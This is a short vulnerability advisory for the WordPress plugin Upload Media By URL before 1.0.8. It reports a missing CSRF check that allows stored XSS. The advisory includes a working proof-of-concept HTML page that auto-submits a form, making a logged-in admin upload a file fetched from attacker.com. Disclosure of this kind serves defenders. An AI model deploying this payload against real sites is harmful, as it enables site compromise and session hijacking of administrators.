Upload Media By URL < 1.0.8 - Stored XSS via CSRF

2023-08-0200:00:00

Dmitriy

stored xss

cross-site request forgery

unfiltered html

html file upload

example.com

attacker.com

EPSS

0.001

Percentile

30.6%

JSON

Description The plugin does not have CSRF check when uploading files, which could allow attackers to make logged in admins upload files (including HTML containing JS code for users with the unfiltered_html capability) on their behalf.

Have a logged in user with the unfiltered_html capability open an HTML file containing the following (this will make them upload the xss.html file):

<html>
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="https://example.com/wp-admin/upload.php" method="POST">
      <input type="hidden" name="multiurl" value="https://attacker.com/xss.html" />
      <input type="submit" value="Submit request" />
    </form>
    <script>
      document.forms[0].submit();
    </script>
  </body>
</html>